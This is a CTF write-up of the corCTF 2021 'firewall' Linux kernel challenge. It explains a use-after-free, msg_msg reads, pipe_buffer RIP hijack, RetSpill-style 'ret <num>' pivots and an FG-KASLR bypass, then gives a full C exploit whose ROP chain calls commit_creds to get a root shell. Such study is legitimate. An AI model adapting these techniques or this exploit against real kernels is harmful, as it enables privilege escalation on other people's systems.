0x00 Introduction

To practice kernel exploitation, I plan to solve old CTF challenges and learn different skills from others. Basically, I’ll try to solve it by myself and then learn others’ solutions. This is the first challenge for this serial, hope it’s not the last one.

0x01 Challenge

Attachment

This is a kernel challenge from corCTF 2021.

You can also check the write-up from the challenge authors.

Reversing is kind of verbose in this challenge, if you don’t want to do that just check the source code from the authors’ writeup.

Basic information about the kernel:

KASLR, FG-KASLR, SMEP, SMAP, KPTI
CONFIG_STATIC_USERMODEHELPER+CONFIG_STATIC_USERMODEHELPER_PATH=''

The challenge is using SLAB instead of SLUB so freelist hijacking is much more complex. There are several basic features in the challenge kernel model: add_rule, delete_rule, edit_rule, and dup_rule. Each rule is a 0x40 heap object:

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
} rule_t;

We can control most parts of the object by add/edit_ing the rules. The vulnerability is in delete_rule, which kfree the target objects without zero_ing the duplicated pointers. Based on this, we can create a UAF pointer by dup_rule(0,0) and delete_rule(0,0).

I divided the whole write-up into three parts and each part solves an individual problem I encountered.

0x02 Arbitrary Address Read

There is a generic way to archive arbitrary address read based on UAF and msgMsg.

This method is very useful since it only requires UAF-Free.

0x03 Hijack the Control Flow and ROP

After leaking the addresses, it’s hijack the $RIP with UAF. I chose the ops pointer in the pipe_buffer object:

However, the kernel in this challenge is kind of small (4.0M) compared to normal kernel bzImage. The kernel booting is very fast but we can find fewer gadgets to gain more control(ROP). By searching the keyword, rsp I didn’t find any working gadgets like push rsi; pop rsp or mov rsp, [rsi+<num>]. After trying other gadgets for long time, I have to learn some new skills from Kyle to bridge the gap (RIP Control -> ROP): RetSpill.

The basic idea is we have our userspace date on the stack while doing syscalls. I tained all the registers and found they are at the bottom of the stack segment, which means we can use the gadgets add rsp, <num>; ret to pivot the stack. However, I can’t find a useful gadget in the kernel. There are only 20 gadgets close to the target area but none of them works: the best one in them can only increase the stack ~0xd0 bytes which is far away from our target ~0x140 bytes.

At the time when I thought this idea died, I got the idea of using ret <num> to nudge the stack. Since the compilers usually use rbp instead of rsp to locate the variables on the stack, the misalignment should not crash! After searching for such gadgets, I found many more gadgets than add rsp, <num>. (~20 vs. 200+). The idea of retSpill is really cool and the skill to use ret <num> makes it much stronger! Also, what a coincidence, ret is in the name of retSpill!

I was so excited about this finding and told Kyle this “amazing finding”. He told me [he noticed that]. Oops, but the good news is it’s not mentioned in the paper and I can still announce I found this beautiful finding independently, LoL! Now I am one of the few people in the world who knows this skill!

0x04 Bypass FG-KASLR

This step is actually now hard if you know the basics of FG-KASLR:

struct kernel_symbol {
    int value_offset;
    int name_offset;
    int namespace_offset;
};

The basic way to bypass it is based on __ksymtab section, which records the offset between the functions and its __ksymtab entries. The __ksymtab struct includes value_offset and the address of function XxX is =&__ksymtab_XxX + __ksymtab_XxX.value_offset.

People usually use two ways to leak the randomized function addresses:

I was too lazy to create a real arbitrary address read (msg_msg leak is not a real arbitrary address since it requires a p64(0)) so I created a FG-KASRL-free ROP chain to leak the correct functions addresses.

All the problems are solved.

0x05 Exploitation

//gcc main.c -o ./main -lx -w
//gcc main.c -o ./main -lx -w
#include "libx.h"
#if defined(LIBX)
    size_t user_cs, user_ss, user_rflags, user_sp;
    void saveStatus()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    size_t back2root = shell;
    void back2userImp(){
        __asm__("mov rax, user_ss;"
            "push rax;"
            "mov rax, user_sp;"
            "push rax;"
            "mov rax, user_rflags;"
            "push rax;"
            "mov rax, user_cs;"
            "push rax;"
            "mov rax, back2root;"
            "push rax;"
            "swapgs;"
            "push 0;"
            "popfq;"
            "iretq;"
            );
    }
    // int sk_skt[SOCKET_NUM][2];
    int pipe_fd[PIPE_NUM][2];
    void libxInit(){
        back2user = back2userImp;
        hook_segfault();
        saveStatus();
        // initSocketArray(sk_skt);
        initPipeBuffer(pipe_fd);
    }
#endif // 
size_t pivot, target_heap;
u64  addr_kstrtab_commit_creds = 0xffffffff81b4fc04;
void tainRegs(u64 base,u64 heap){
    
    pivot = 0xffffffff810043cf - NO_ASLR_BASE + base; 
    target_heap = heap + 0x30e00;
    pivot = (pivot << 0x8) + 0xff;
    target_heap = (target_heap << 0x8) + 0xff;

    __asm__("mov rax, 0x9999999999999999;"
    "mov rbx, 0x9999999999999999;"
    "mov rcx, 0x9999999999999999;"
    "mov rdx, 0x9999999999999999;"
    "mov rdi, 0x9999999999999999;"
    "mov rsi, 0x9999999999999999;"
    "mov r8,  0x9999999999999999;"
    "mov r9,  0x9999999999999999;"
    "mov r10, 0x9999999999999999;"
    "mov r11, 0x9999999999999999;"
    "mov r12, 0x9999999999999999;"
    "mov r13, 0x99999999999999ff;"
    "mov r14, target_heap;"
    "mov r15, pivot;"
    "leave;"
    "ret;");
}
typedef struct payload{
    char iface[0x10];
    char name[0x10];
    char ip[0x10];
    char mask[0x10];
    uint8_t idx;
    uint8_t rule_type;
    int16_t proto;
    int16_t port;
    uint8_t action;
    uint8_t unk;
} pay;
int fd = 0;
void add(size_t rule_type,size_t idx,char *ip, char *mask){
    pay * ptr = calloc(1,sizeof(pay));
    memcpy(ptr->ip,ip,0x10);
    memcpy(ptr->mask,mask,0x10);
    ptr->idx = idx;
    ptr->rule_type = rule_type;
    
    ioctl(fd,0x1337babe,ptr);
    free(ptr);
};
void del(size_t rule_type,size_t idx){
    pay * ptr = calloc(1,sizeof(pay));
    ptr->idx = idx;
    ptr->rule_type = rule_type;
    ioctl(fd,0xdeadbabe,ptr);
    free(ptr);
};
void duplicate(size_t rule_type,size_t idx){
    pay * ptr = calloc(1,sizeof(pay));
    ptr->idx = idx;
    ptr->rule_type = rule_type;
    ioctl(fd,0xbaad5aad,ptr);
    free(ptr);
};
void edit(size_t rule_type,size_t idx,__u8 * payload){

    pay * ptr = calloc(1,sizeof(pay));
    memcpy(ptr,payload,0x20);
    char * ip   = calloc(1,0x10+1);
    char * mask = calloc(1,0x10+1);
    size_t cur = 0;
    for(int i = 0 ; i < 4 ; i++){
        __u8 tmp = (__u8)payload[i+0x20];
        u64 nb = 0 ;
        if(i ==3)
            nb = sprintf(&ip[cur],"%d",tmp);
        else
            nb = sprintf(&ip[cur],"%d.",tmp);
        cur+= nb;

    }

    cur = 0;
    for(int i = 0 ; i < 4 ; i++){
        __u8 tmp = payload[i+0x24];
        u64  nb = 0 ;
        if(i ==3)
            nb = sprintf(&mask[cur],"%d",tmp);
        else
            nb = sprintf(&mask[cur],"%d.",tmp);
        cur+= nb;
    }
    memcpy(ptr->ip,ip,0x10);
    memcpy(ptr->mask,mask,0x10);
    ptr->idx = idx;
    ptr->rule_type = rule_type;
    memcpy(&ptr->proto,payload+0x28,2);
    memcpy(&ptr->port,payload+0x2a,2);
    memcpy(&ptr->action,payload+0x2c,1);
    ioctl(fd,0x1337beef,ptr);
    free(ptr);
};
void sprayROPChain(u64 base,u64 heap_addr){
    u64 rdi                 = 0xffffffff8100447c- NO_ASLR_BASE + base;
    u64 ret                 = rdi + 1;
    
    heap_addr = heap_addr + 0x30000;

    u64 code_addr = heap_addr;
    u64 * rop = calloc(1,0x1000);
    int idx = 0;
    for(int i = 0 ; i < 0xe00/8 ; i++)
        rop[idx++] = ret;
    
    // GET ROOT
    rop[idx++]  = rdi;
    rop[idx++]  = 0xffffffff81c33060    - NO_ASLR_BASE + base;
    // commit_creds
    // pop rax ret
    rop[idx++]  = 0xffffffff81001431 - NO_ASLR_BASE + base;
    rop[idx++]  = addr_kstrtab_commit_creds  - NO_ASLR_BASE + base;
    // 0xffffffff8100f1ed: mov eax, eax; ret;
    rop[idx++]  = 0xffffffff8100f1ed - NO_ASLR_BASE + base;
    // pop rbx ; ret
    rop[idx++]  = 0xffffffff810043d0 - NO_ASLR_BASE + base;
    rop[idx++]  = addr_kstrtab_commit_creds - NO_ASLR_BASE + base;
    // 0xffffffff8100fd91: add eax, ebx; pop rbx; pop rbp; ret;
    rop[idx++]  = 0xffffffff8100fd91 - NO_ASLR_BASE + base;
    rop[idx++]  = 0;
    rop[idx++]  = 0;
    // 0xffffffff81010f3b: 0xffffffff81010f3b: pop rsi; pop rbp; ret;
    rop[idx++]  = 0xffffffff81010f3b - NO_ASLR_BASE + base;
    rop[idx++]  = code_addr+idx*8+0x18+0x30;
    rop[idx++]  = 0;
    // 0xffffffff8100f518: mov [rsi], eax; ret;
    rop[idx++]  = 0xffffffff8100f518- NO_ASLR_BASE + base;
    // This is the data be modified
    rop[idx++]  = 0xffffffffdeadbeef- NO_ASLR_BASE + base;
    rop[idx++]  = 0xffffffff81200df0+22 - NO_ASLR_BASE + base;
    rop[idx++]  = 0 ; 
    rop[idx++]  = 0 ;
    rop[idx++]  = shell;
    rop[idx++]  = user_cs;
    rop[idx++]  = user_rflags;
    rop[idx++]  = user_sp;
    rop[idx++]  = user_ss;
    assert(idx<0x200-0x6);
    msgSpray(0xfd0,0x20,rop);
}
void ControlRIP(u64 base,u64 heap){
    tainRegs(base,heap);
    write(pipe_fd[0][0],"n",1);
    write(pipe_fd[0][1],"1",1);
}
int main(){
    libxInit();
    int mq[0x10];
    for(int i = 0 ; i<0x10;i++)
        mq[i] = msgGet();
    fd = open("/dev/firewall",2);

    msgSpray(0x10,0x2000/0x40,dp('1',0x10));

    add(0,0,"255.255.255.255","255.255.255.255");
    duplicate(0,0);
    del(0,0);
    add(0,0,"255.255.255.255","255.255.255.255");
    duplicate(0,0);
    del(0,0);
    msgSend(mq[0],0x10,dp('0',0x10));
    del(1,1);
    size_t a[] = {1,0x800,0x2000,0,0,0xdead,0xbeef};
    char * fake  = flatn(a,7);
    char * payload = calloc(0x1,0x1000);
    memcpy(payload+0xfd0,fake,0x38);
    msgSend(mq[1],0xfd0+0x38,payload);
    add(0,0,"255.255.255.255","255.255.255.255");
    duplicate(0,0); // > 1,1
    del(1,1);
    pipeBufferResize(pipe_fd[0][0],1);
    msgMsg * res = msgPeek(mq[0],0x2000);
    size_t * ptr = res->mtext;
    size_t base = 0 ; 
    size_t current_page = 0 ; 
    __u8 * meta = calloc(1,0x40) ;
    for(int i = 0 ; i < 0x2000/8 ; i++)
    {
        if(ptr[i] == 0x3131313131313131 && i>5)
        {
            current_page = ptr[i-6];
            current_page = current_page>>12<<12;
        }
        if((ptr[i] & 0xfff )== 0xd00)
        {
            memcpy(meta,&ptr[i]-2,0x40);
            base =  ptr[i]- (0xffffffff81a0ed00-0xffffffff81000000);
        }
        if(base!=0 && current_page !=0 )
            break;
    }
    if(!base || !current_page)
        panic("Unfortunately");
    
    warn(hex(base));
    warn(hex(current_page));
    
    ptr = payload;
    u64 RIP = 0xffffffff8100964c - NO_ASLR_BASE + base; // 0xffffffff8100964c: ret 0x149;

    for(int i = 0 ; i < 0x200 ; i++)
        ptr[i] = RIP;
    msgSpray(0xfd0,0x20000/0x1000,payload);
    ptr = meta;
    ptr[2] = current_page+0x900+0x10000;
    edit(0,0,meta);
    sprayROPChain(base,current_page+0x900-0x900);
    // debug();
    ControlRIP(base, current_page);
}

Epilogue

TODO: